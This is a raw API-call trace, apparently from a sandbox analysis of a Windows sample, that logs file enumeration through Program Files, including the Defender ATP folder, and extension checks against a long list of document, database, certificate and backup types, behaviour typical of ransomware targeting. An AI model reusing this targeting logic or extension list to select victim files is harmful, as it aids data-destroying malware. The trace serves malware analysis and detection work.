	[0179.543] lstrcmpiW (lpString1=".nrw", lpString2=".exe") returned 1
	[0179.543] lstrlenW (lpString=".obj") returned 4
	[0179.543] lstrcmpiW (lpString1=".obj", lpString2=".exe") returned 1
	[0179.543] lstrlenW (lpString=".odb") returned 4
	[0179.543] lstrcmpiW (lpString1=".odb", lpString2=".exe") returned 1
	[0179.543] lstrlenW (lpString=".odc") returned 4
	[0179.543] lstrcmpiW (lpString1=".odc", lpString2=".exe") returned 1
	[0179.543] lstrlenW (lpString=".odm") returned 4
	[0179.543] lstrcmpiW (lpString1=".odm", lpString2=".exe") returned 1
	[0179.543] lstrlenW (lpString=".odp") returned 4
	[0179.543] lstrcmpiW (lpString1=".odp", lpString2=".exe") returned 1
	[0179.543] lstrlenW (lpString=".ods") returned 4
	[0179.543] lstrcmpiW (lpString1=".ods", lpString2=".exe") returned 1
	[0179.543] lstrlenW (lpString=".oft") returned 4
	[0179.543] lstrcmpiW (lpString1=".oft", lpString2=".exe") returned 1
	[0179.544] lstrlenW (lpString=".one") returned 4
	[0179.544] lstrcmpiW (lpString1=".one", lpString2=".exe") returned 1
	[0179.544] lstrlenW (lpString=".onepkg") returned 7
	[0179.544] lstrcmpiW (lpString1=".onepkg", lpString2="pos.exe") returned -1
	[0179.544] lstrlenW (lpString=".onetoc2") returned 8
	[0179.544] lstrcmpiW (lpString1=".onetoc2", lpString2="ipos.exe") returned -1
	[0179.544] lstrlenW (lpString=".opt") returned 4
	[0179.544] lstrcmpiW (lpString1=".opt", lpString2=".exe") returned 1
	[0179.544] lstrlenW (lpString=".oqy") returned 4
	[0179.544] lstrcmpiW (lpString1=".oqy", lpString2=".exe") returned 1
	[0179.544] lstrlenW (lpString=".orf") returned 4
	[0179.544] lstrcmpiW (lpString1=".orf", lpString2=".exe") returned 1
	[0179.544] lstrlenW (lpString=".p12") returned 4
	[0179.544] lstrcmpiW (lpString1=".p12", lpString2=".exe") returned 1
	[0179.544] lstrlenW (lpString=".p7b") returned 4
	[0179.544] lstrcmpiW (lpString1=".p7b", lpString2=".exe") returned 1
	[0179.544] lstrlenW (lpString=".p7c") returned 4
	[0179.544] lstrcmpiW (lpString1=".p7c", lpString2=".exe") returned 1
	[0179.544] lstrlenW (lpString=".pam") returned 4
	[0179.544] lstrcmpiW (lpString1=".pam", lpString2=".exe") returned 1
	[0179.544] lstrlenW (lpString=".pbm") returned 4
	[0179.544] lstrcmpiW (lpString1=".pbm", lpString2=".exe") returned 1
	[0179.544] lstrlenW (lpString=".pct") returned 4
	[0179.544] lstrcmpiW (lpString1=".pct", lpString2=".exe") returned 1
	[0179.544] lstrlenW (lpString=".pcx") returned 4
	[0179.544] lstrcmpiW (lpString1=".pcx", lpString2=".exe") returned 1
	[0179.544] lstrlenW (lpString=".pdd") returned 4
	[0179.544] lstrcmpiW (lpString1=".pdd", lpString2=".exe") returned 1
	[0179.544] lstrlenW (lpString=".pdf") returned 4
	[0179.544] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1
	[0179.544] lstrlenW (lpString=".pdp") returned 4
	[0179.544] lstrcmpiW (lpString1=".pdp", lpString2=".exe") returned 1
	[0179.544] lstrlenW (lpString=".pef") returned 4
	[0179.545] lstrcmpiW (lpString1=".pef", lpString2=".exe") returned 1
	[0179.545] lstrlenW (lpString=".pem") returned 4
	[0179.545] lstrcmpiW (lpString1=".pem", lpString2=".exe") returned 1
	[0179.545] lstrlenW (lpString=".pff") returned 4
	[0179.545] lstrcmpiW (lpString1=".pff", lpString2=".exe") returned 1
	[0179.545] lstrlenW (lpString=".pfm") returned 4
	[0179.545] lstrcmpiW (lpString1=".pfm", lpString2=".exe") returned 1
	[0179.545] lstrlenW (lpString=".pfx") returned 4
	[0179.545] lstrcmpiW (lpString1=".pfx", lpString2=".exe") returned 1
	[0179.545] lstrlenW (lpString=".pgm") returned 4
	[0179.545] lstrcmpiW (lpString1=".pgm", lpString2=".exe") returned 1
	[0179.545] lstrlenW (lpString=".php") returned 4
	[0179.545] lstrcmpiW (lpString1=".php", lpString2=".exe") returned 1
	[0179.545] lstrlenW (lpString=".php3") returned 5
	[0179.545] lstrcmpiW (lpString1=".php3", lpString2="s.exe") returned -1
	[0179.545] lstrlenW (lpString=".php4") returned 5
	[0179.545] lstrcmpiW (lpString1=".php4", lpString2="s.exe") returned -1
	[0179.545] lstrlenW (lpString=".php5") returned 5
	[0179.545] lstrcmpiW (lpString1=".php5", lpString2="s.exe") returned -1
	[0179.545] lstrlenW (lpString=".phtml") returned 6
	[0179.545] lstrcmpiW (lpString1=".phtml", lpString2="os.exe") returned -1
	[0179.545] lstrlenW (lpString=".pict") returned 5
	[0179.545] lstrcmpiW (lpString1=".pict", lpString2="s.exe") returned -1
	[0179.545] lstrlenW (lpString=".pl") returned 3
	[0179.545] lstrcmpiW (lpString1=".pl", lpString2="exe") returned -1
	[0179.545] lstrlenW (lpString=".pls") returned 4
	[0179.545] lstrcmpiW (lpString1=".pls", lpString2=".exe") returned 1
	[0179.545] lstrlenW (lpString=".pm") returned 3
	[0179.545] lstrcmpiW (lpString1=".pm", lpString2="exe") returned -1
	[0179.545] lstrlenW (lpString=".png") returned 4
	[0179.545] lstrcmpiW (lpString1=".png", lpString2=".exe") returned 1
	[0179.546] lstrlenW (lpString=".pnm") returned 4
	[0179.546] lstrcmpiW (lpString1=".pnm", lpString2=".exe") returned 1
	[0179.546] lstrlenW (lpString=".pot") returned 4
	[0179.546] lstrcmpiW (lpString1=".pot", lpString2=".exe") returned 1
	[0179.546] lstrlenW (lpString=".potm") returned 5
	[0179.546] lstrcmpiW (lpString1=".potm", lpString2="s.exe") returned -1
	[0179.546] lstrlenW (lpString=".potx") returned 5
	[0179.546] lstrcmpiW (lpString1=".potx", lpString2="s.exe") returned -1
	[0179.546] lstrlenW (lpString=".ppa") returned 4
	[0179.546] lstrcmpiW (lpString1=".ppa", lpString2=".exe") returned 1
	[0179.546] lstrlenW (lpString=".ppam") returned 5
	[0179.546] lstrcmpiW (lpString1=".ppam", lpString2="s.exe") returned -1
	[0179.546] lstrlenW (lpString=".ppm") returned 4
	[0179.546] lstrcmpiW (lpString1=".ppm", lpString2=".exe") returned 1
	[0179.546] lstrlenW (lpString=".pps") returned 4
	[0179.546] lstrcmpiW (lpString1=".pps", lpString2=".exe") returned 1
	[0179.546] lstrlenW (lpString=".ppsm") returned 5
	[0179.546] lstrcmpiW (lpString1=".ppsm", lpString2="s.exe") returned -1
	[0179.546] lstrlenW (lpString=".ppt") returned 4
	[0179.546] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1
	[0179.546] lstrlenW (lpString=".pptm") returned 5
	[0179.546] lstrcmpiW (lpString1=".pptm", lpString2="s.exe") returned -1
	[0179.546] lstrlenW (lpString=".pptx") returned 5
	[0179.546] lstrcmpiW (lpString1=".pptx", lpString2="s.exe") returned -1
	[0179.546] lstrlenW (lpString=".prn") returned 4
	[0179.547] lstrcmpiW (lpString1=".prn", lpString2=".exe") returned 1
	[0179.547] lstrlenW (lpString=".ps") returned 3
	[0179.547] lstrcmpiW (lpString1=".ps", lpString2="exe") returned -1
	[0179.547] lstrlenW (lpString=".psb") returned 4
	[0179.547] lstrcmpiW (lpString1=".psb", lpString2=".exe") returned 1
	[0179.547] lstrlenW (lpString=".psd") returned 4
	[0179.547] lstrcmpiW (lpString1=".psd", lpString2=".exe") returned 1
	[0179.547] lstrlenW (lpString=".pst") returned 4
	[0179.547] lstrcmpiW (lpString1=".pst", lpString2=".exe") returned 1
	[0179.547] lstrlenW (lpString=".ptx") returned 4
	[0179.547] lstrcmpiW (lpString1=".ptx", lpString2=".exe") returned 1
	[0179.547] lstrlenW (lpString=".pub") returned 4
	[0179.547] lstrcmpiW (lpString1=".pub", lpString2=".exe") returned 1
	[0179.547] lstrlenW (lpString=".pwm") returned 4
	[0179.547] lstrcmpiW (lpString1=".pwm", lpString2=".exe") returned 1
	[0179.547] lstrlenW (lpString=".pxr") returned 4
	[0179.547] lstrcmpiW (lpString1=".pxr", lpString2=".exe") returned 1
	[0179.547] lstrlenW (lpString=".py") returned 3
	[0179.547] lstrcmpiW (lpString1=".py", lpString2="exe") returned -1
	[0179.547] lstrlenW (lpString=".qt") returned 3
	[0179.548] lstrcmpiW (lpString1=".qt", lpString2="exe") returned -1
	[0179.548] lstrlenW (lpString=".r3d") returned 4
	[0179.548] lstrcmpiW (lpString1=".r3d", lpString2=".exe") returned 1
	[0179.548] lstrlenW (lpString=".raf") returned 4
	[0179.548] lstrcmpiW (lpString1=".raf", lpString2=".exe") returned 1
	[0179.548] lstrlenW (lpString=".rar") returned 4
	[0179.548] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1
	[0179.548] lstrlenW (lpString=".raw") returned 4
	[0179.548] lstrcmpiW (lpString1=".raw", lpString2=".exe") returned 1
	[0179.548] FindNextFileW (in: hFindFile=0x76eb28, lpFindFileData=0x2faf800 | out: lpFindFileData=0x2faf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x26aa7774, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x26aa7774, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x26aa7774, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x851a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProtectionManagement.dll", cAlternateFileName="")) returned 1
	[0179.548] FindNextFileW (in: hFindFile=0x76eb28, lpFindFileData=0x2faf800 | out: lpFindFileData=0x2faf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x26acd9d7, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x26acd9d7, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x26acd9d7, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xe050, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProtectionManagement.mof", cAlternateFileName="")) returned 1
	[0179.548] FindNextFileW (in: hFindFile=0x76eb28, lpFindFileData=0x2faf800 | out: lpFindFileData=0x2faf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x26aa7774, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x26aa7774, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x26aa7774, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xa0a, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProtectionManagement_Uninstall.mof", cAlternateFileName="")) returned 1
	[0179.548] FindNextFileW (in: hFindFile=0x76eb28, lpFindFileData=0x2faf800 | out: lpFindFileData=0x2faf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x26aa7774, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x26aa7774, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x26aa7774, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x505a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="shellext.dll", cAlternateFileName="")) returned 1
	[0179.548] FindNextFileW (in: hFindFile=0x76eb28, lpFindFileData=0x2faf800 | out: lpFindFileData=0x2faf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x26a8150d, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x26a8150d, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x26a8150d, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x264c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SymSrv.dll", cAlternateFileName="")) returned 1
	[0179.549] FindNextFileW (in: hFindFile=0x76eb28, lpFindFileData=0x2faf800 | out: lpFindFileData=0x2faf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x26a8150d, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x26a8150d, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x26a8150d, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x1, dwReserved0=0x0, dwReserved1=0x0, cFileName="SymSrv.yes", cAlternateFileName="")) returned 1
	[0179.549] FindNextFileW (in: hFindFile=0x76eb28, lpFindFileData=0x2faf800 | out: lpFindFileData=0x2faf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x26a3503e, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x70b0173c, ftLastAccessTime.dwHighDateTime=0x1d2fa08, ftLastWriteTime.dwLowDateTime=0x26a3503e, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x443, dwReserved0=0x0, dwReserved1=0x0, cFileName="ThirdPartyNotices.txt", cAlternateFileName="")) returned 1
	[0179.549] FindNextFileW (in: hFindFile=0x76eb28, lpFindFileData=0x2faf800 | out: lpFindFileData=0x2faf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x26a3503e, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x70b0173c, ftLastAccessTime.dwHighDateTime=0x1d2fa08, ftLastWriteTime.dwLowDateTime=0x26a3503e, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x443, dwReserved0=0x0, dwReserved1=0x0, cFileName="ThirdPartyNotices.txt", cAlternateFileName="")) returned 0
	[0179.549] FindClose (in: hFindFile=0x76eb28 | out: hFindFile=0x76eb28) returned 1
	[0179.549] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4057fb8 | out: hHeap=0x710000) returned 1
	[0179.549] FindNextFileW (in: hFindFile=0x76ed68, lpFindFileData=0x2fafa7c | out: lpFindFileData=0x2fafa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe6d9d2c8, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x3b7eb14e, ftLastAccessTime.dwHighDateTime=0x1d5d816, ftLastWriteTime.dwLowDateTime=0x3b7eb14e, ftLastWriteTime.dwHighDateTime=0x1d5d816, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Windows Defender Advanced Threat Protection", cAlternateFileName="WIF4A9~1")) returned 1
	[0179.549] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xfffe) returned 0x4057fb8
	[0179.549] lstrlenW (lpString="C:\\Program Files\\Windows Defender Advanced Threat Protection") returned 60
	[0179.549] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Defender Advanced Threat Protection\\*", lpFindFileData=0x2faf800 | out: lpFindFileData=0x2faf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe6d9d2c8, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x3b7eb14e, ftLastAccessTime.dwHighDateTime=0x1d5d816, ftLastWriteTime.dwLowDateTime=0x3b7eb14e, ftLastWriteTime.dwHighDateTime=0x1d5d816, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x76e6a8
	[0179.749] FindNextFileW (in: hFindFile=0x76e6a8, lpFindFileData=0x2faf800 | out: lpFindFileData=0x2faf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe6d9d2c8, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x3b7eb14e, ftLastAccessTime.dwHighDateTime=0x1d5d816, ftLastWriteTime.dwLowDateTime=0x3b7eb14e, ftLastWriteTime.dwHighDateTime=0x1d5d816, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0179.749] FindNextFileW (in: hFindFile=0x76e6a8, lpFindFileData=0x2faf800 | out: lpFindFileData=0x2faf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe6d9d2c8, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa8fde773, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe8231541, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1
	[0179.749] lstrlenW (lpString="C:\\Program Files\\Windows Defender Advanced Threat Protection\\en-US") returned 66
	[0179.749] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\Program Files\\Windows Defender Advanced Threat Protection\\en-US") returned 1
	[0179.749] lstrlenW (lpString="en-US") returned 5
	[0179.749] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="en-US") returned -1
	[0179.749] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xfffe) returned 0x4094fb8
	[0179.749] lstrlenW (lpString="C:\\Program Files\\Windows Defender Advanced Threat Protection\\en-US") returned 66
	[0179.749] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Defender Advanced Threat Protection\\en-US\\*", lpFindFileData=0x2faf584 | out: lpFindFileData=0x2faf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe6d9d2c8, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa8fde773, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe8231541, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x76e6e8
	[0179.750] FindNextFileW (in: hFindFile=0x76e6e8, lpFindFileData=0x2faf584 | out: lpFindFileData=0x2faf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe6d9d2c8, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa8fde773, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe8231541, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1
	[0179.750] FindNextFileW (in: hFindFile=0x76e6e8, lpFindFileData=0x2faf584 | out: lpFindFileData=0x2faf584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3ea62ba2, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7f0f18af, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x67afd900, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0x5600, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="MsSense.exe.mui", cAlternateFileName="")) returned 1
	[0179.750] lstrlenW (lpString="MsSense.exe.mui") returned 15
	[0179.750] lstrlenW (lpString=".1cd") returned 4
	[0179.750] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1
	[0179.750] lstrlenW (lpString=".3ds") returned 4
	[0179.750] lstrcmpiW (lpString1=".3ds", lpString2=".mui") returned -1
	[0179.750] lstrlenW (lpString=".3fr") returned 4
	[0179.750] lstrcmpiW (lpString1=".3fr", lpString2=".mui") returned -1
	[0179.750] lstrlenW (lpString=".3g2") returned 4
	[0179.751] lstrcmpiW (lpString1=".3g2", lpString2=".mui") returned -1
	[0179.751] lstrlenW (lpString=".3gp") returned 4
	[0179.751] lstrcmpiW (lpString1=".3gp", lpString2=".mui") returned -1
	[0179.751] lstrlenW (lpString=".7z") returned 3
	[0179.751] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1
	[0179.751] lstrlenW (lpString=".accda") returned 6
	[0179.751] lstrcmpiW (lpString1=".accda", lpString2="xe.mui") returned -1
	[0179.751] lstrlenW (lpString=".accdb") returned 6
	[0179.751] lstrcmpiW (lpString1=".accdb", lpString2="xe.mui") returned -1
	[0179.751] lstrlenW (lpString=".accdc") returned 6
	[0179.751] lstrcmpiW (lpString1=".accdc", lpString2="xe.mui") returned -1
	[0179.751] lstrlenW (lpString=".accde") returned 6
	[0179.751] lstrcmpiW (lpString1=".accde", lpString2="xe.mui") returned -1
	[0179.751] lstrlenW (lpString=".accdt") returned 6
	[0179.751] lstrcmpiW (lpString1=".accdt", lpString2="xe.mui") returned -1
	[0179.751] lstrlenW (lpString=".accdw") returned 6
	[0179.751] lstrcmpiW (lpString1=".accdw", lpString2="xe.mui") returned -1
	[0179.751] lstrlenW (lpString=".adb") returned 4
	[0179.751] lstrcmpiW (lpString1=".adb", lpString2=".mui") returned -1
	[0179.751] lstrlenW (lpString=".adp") returned 4
	[0179.751] lstrcmpiW (lpString1=".adp", lpString2=".mui") returned -1
	[0179.751] lstrlenW (lpString=".ai") returned 3
	[0179.751] lstrcmpiW (lpString1=".ai", lpString2="mui") returned -1
	[0179.751] lstrlenW (lpString=".ai3") returned 4
	[0179.751] lstrcmpiW (lpString1=".ai3", lpString2=".mui") returned -1
	[0179.751] lstrlenW (lpString=".ai4") returned 4
	[0179.751] lstrcmpiW (lpString1=".ai4", lpString2=".mui") returned -1
	[0179.751] lstrlenW (lpString=".ai5") returned 4
	[0179.751] lstrcmpiW (lpString1=".ai5", lpString2=".mui") returned -1
	[0179.751] lstrlenW (lpString=".ai6") returned 4
	[0179.751] lstrcmpiW (lpString1=".ai6", lpString2=".mui") returned -1
	[0179.751] lstrlenW (lpString=".ai7") returned 4
	[0179.752] lstrcmpiW (lpString1=".ai7", lpString2=".mui") returned -1
	[0179.752] lstrlenW (lpString=".ai8") returned 4
	[0179.752] lstrcmpiW (lpString1=".ai8", lpString2=".mui") returned -1
	[0179.752] lstrlenW (lpString=".anim") returned 5
	[0179.752] lstrcmpiW (lpString1=".anim", lpString2="e.mui") returned -1
	[0179.752] lstrlenW (lpString=".arw") returned 4
	[0179.752] lstrcmpiW (lpString1=".arw", lpString2=".mui") returned -1
	[0179.752] lstrlenW (lpString=".as") returned 3
	[0179.752] lstrcmpiW (lpString1=".as", lpString2="mui") returned -1
	[0179.752] lstrlenW (lpString=".asa") returned 4
	[0179.752] lstrcmpiW (lpString1=".asa", lpString2=".mui") returned -1
	[0179.752] lstrlenW (lpString=".asc") returned 4
	[0179.752] lstrcmpiW (lpString1=".asc", lpString2=".mui") returned -1
	[0179.752] lstrlenW (lpString=".ascx") returned 5
	[0179.752] lstrcmpiW (lpString1=".ascx", lpString2="e.mui") returned -1
	[0179.752] lstrlenW (lpString=".asm") returned 4
	[0179.752] lstrcmpiW (lpString1=".asm", lpString2=".mui") returned -1
	[0179.752] lstrlenW (lpString=".asmx") returned 5
	[0179.752] lstrcmpiW (lpString1=".asmx", lpString2="e.mui") returned -1
	[0179.752] lstrlenW (lpString=".asp") returned 4
	[0179.752] lstrcmpiW (lpString1=".asp", lpString2=".mui") returned -1
	[0179.752] lstrlenW (lpString=".aspx") returned 5
	[0179.752] lstrcmpiW (lpString1=".aspx", lpString2="e.mui") returned -1
	[0179.752] lstrlenW (lpString=".asr") returned 4
	[0179.752] lstrcmpiW (lpString1=".asr", lpString2=".mui") returned -1
	[0179.752] lstrlenW (lpString=".asx") returned 4
	[0179.752] lstrcmpiW (lpString1=".asx", lpString2=".mui") returned -1
	[0179.752] lstrlenW (lpString=".avi") returned 4
	[0179.752] lstrcmpiW (lpString1=".avi", lpString2=".mui") returned -1
	[0179.752] lstrlenW (lpString=".avs") returned 4
	[0179.752] lstrcmpiW (lpString1=".avs", lpString2=".mui") returned -1
	[0179.752] lstrlenW (lpString=".backup") returned 7
	[0179.752] lstrcmpiW (lpString1=".backup", lpString2="exe.mui") returned -1
	[0179.753] lstrlenW (lpString=".bak") returned 4
	[0179.753] lstrcmpiW (lpString1=".bak", lpString2=".mui") returned -1
	[0179.753] lstrlenW (lpString=".bay") returned 4
	[0179.753] lstrcmpiW (lpString1=".bay", lpString2=".mui") returned -1
	[0179.753] lstrlenW (lpString=".bd") returned 3
	[0179.753] lstrcmpiW (lpString1=".bd", lpString2="mui") returned -1
	[0179.753] lstrlenW (lpString=".bin") returned 4
	[0179.753] lstrcmpiW (lpString1=".bin", lpString2=".mui") returned -1
	[0179.753] lstrlenW (lpString=".bmp") returned 4
	[0179.753] lstrcmpiW (lpString1=".bmp", lpString2=".mui") returned -1
	[0179.753] lstrlenW (lpString=".bz2") returned 4
	[0179.753] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1
	[0179.753] lstrlenW (lpString=".c") returned 2
	[0179.753] lstrcmpiW (lpString1=".c", lpString2="ui") returned -1
	[0179.753] lstrlenW (lpString=".cdr") returned 4
	[0179.753] lstrcmpiW (lpString1=".cdr", lpString2=".mui") returned -1
	[0179.753] lstrlenW (lpString=".cer") returned 4
	[0179.753] lstrcmpiW (lpString1=".cer", lpString2=".mui") returned -1
	[0179.753] lstrlenW (lpString=".cf") returned 3
	[0179.753] lstrcmpiW (lpString1=".cf", lpString2="mui") returned -1
	[0179.753] lstrlenW (lpString=".cfc") returned 4
	[0179.753] lstrcmpiW (lpString1=".cfc", lpString2=".mui") returned -1
	[0179.753] lstrlenW (lpString=".cfm") returned 4
	[0179.753] lstrcmpiW (lpString1=".cfm", lpString2=".mui") returned -1
	[0179.753] lstrlenW (lpString=".cfml") returned 5
	[0179.753] lstrcmpiW (lpString1=".cfml", lpString2="e.mui") returned -1
	[0179.753] lstrlenW (lpString=".cfu") returned 4
	[0179.753] lstrcmpiW (lpString1=".cfu", lpString2=".mui") returned -1
	[0179.753] lstrlenW (lpString=".chm") returned 4
	[0179.753] lstrcmpiW (lpString1=".chm", lpString2=".mui") returned -1
	[0179.753] lstrlenW (lpString=".cin") returned 4
	[0179.753] lstrcmpiW (lpString1=".cin", lpString2=".mui") returned -1
	[0179.754] lstrlenW (lpString=".class") returned 6
	[0179.754] lstrcmpiW (lpString1=".class", lpString2="xe.mui") returned -1
	[0179.754] lstrlenW (lpString=".clx") returned 4
	[0179.754] lstrcmpiW (lpString1=".clx", lpString2=".mui") returned -1
	[0179.754] lstrlenW (lpString=".config") returned 7
	[0179.754] lstrcmpiW (lpString1=".config", lpString2="exe.mui") returned -1
	[0179.754] lstrlenW (lpString=".cpp") returned 4
	[0179.754] lstrcmpiW (lpString1=".cpp", lpString2=".mui") returned -1
	[0179.754] lstrlenW (lpString=".cr2") returned 4
	[0179.754] lstrcmpiW (lpString1=".cr2", lpString2=".mui") returned -1
	[0179.754] lstrlenW (lpString=".crt") returned 4
	[0179.754] lstrcmpiW (lpString1=".crt", lpString2=".mui") returned -1
	[0179.754] lstrlenW (lpString=".crw") returned 4
	[0179.754] lstrcmpiW (lpString1=".crw", lpString2=".mui") returned -1
	[0179.754] lstrlenW (lpString=".cs") returned 3
	[0179.754] lstrcmpiW (lpString1=".cs", lpString2="mui") returned -1
	[0179.754] lstrlenW (lpString=".css") returned 4
	[0179.754] lstrcmpiW (lpString1=".css", lpString2=".mui") returned -1
	[0179.754] lstrlenW (lpString=".csv") returned 4
	[0179.754] lstrcmpiW (lpString1=".csv", lpString2=".mui") returned -1
	[0179.754] lstrlenW (lpString=".cub") returned 4
	[0179.754] lstrcmpiW (lpString1=".cub", lpString2=".mui") returned -1
	[0179.754] lstrlenW (lpString=".dae") returned 4
	[0179.754] lstrcmpiW (lpString1=".dae", lpString2=".mui") returned -1
	[0179.754] lstrlenW (lpString=".dat") returned 4
	[0179.754] lstrcmpiW (lpString1=".dat", lpString2=".mui") returned -1
	[0179.754] lstrlenW (lpString=".db") returned 3
	[0179.754] lstrcmpiW (lpString1=".db", lpString2="mui") returned -1
	[0179.754] lstrlenW (lpString=".dbf") returned 4
	[0179.754] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1
	[0179.754] lstrlenW (lpString=".dbx") returned 4
	[0179.755] lstrcmpiW (lpString1=".dbx", lpString2=".mui") returned -1
	[0179.755] lstrlenW (lpString=".dc3") returned 4
	[0179.755] lstrcmpiW (lpString1=".dc3", lpString2=".mui") returned -1
	[0179.755] lstrlenW (lpString=".dcm") returned 4
	[0179.755] lstrcmpiW (lpString1=".dcm", lpString2=".mui") returned -1
	[0179.755] lstrlenW (lpString=".dcr") returned 4
	[0179.755] lstrcmpiW (lpString1=".dcr", lpString2=".mui") returned -1
	[0179.755] lstrlenW (lpString=".der") returned 4
	[0179.755] lstrcmpiW (lpString1=".der", lpString2=".mui") returned -1
	[0179.755] lstrlenW (lpString=".dib") returned 4
	[0179.755] lstrcmpiW (lpString1=".dib", lpString2=".mui") returned -1
	[0179.755] lstrlenW (lpString=".dic") returned 4
	[0179.755] lstrcmpiW (lpString1=".dic", lpString2=".mui") returned -1
	[0179.755] lstrlenW (lpString=".dif") returned 4
	[0179.755] lstrcmpiW (lpString1=".dif", lpString2=".mui") returned -1
	[0179.755] lstrlenW (lpString=".divx") returned 5
	[0179.755] lstrcmpiW (lpString1=".divx", lpString2="e.mui") returned -1
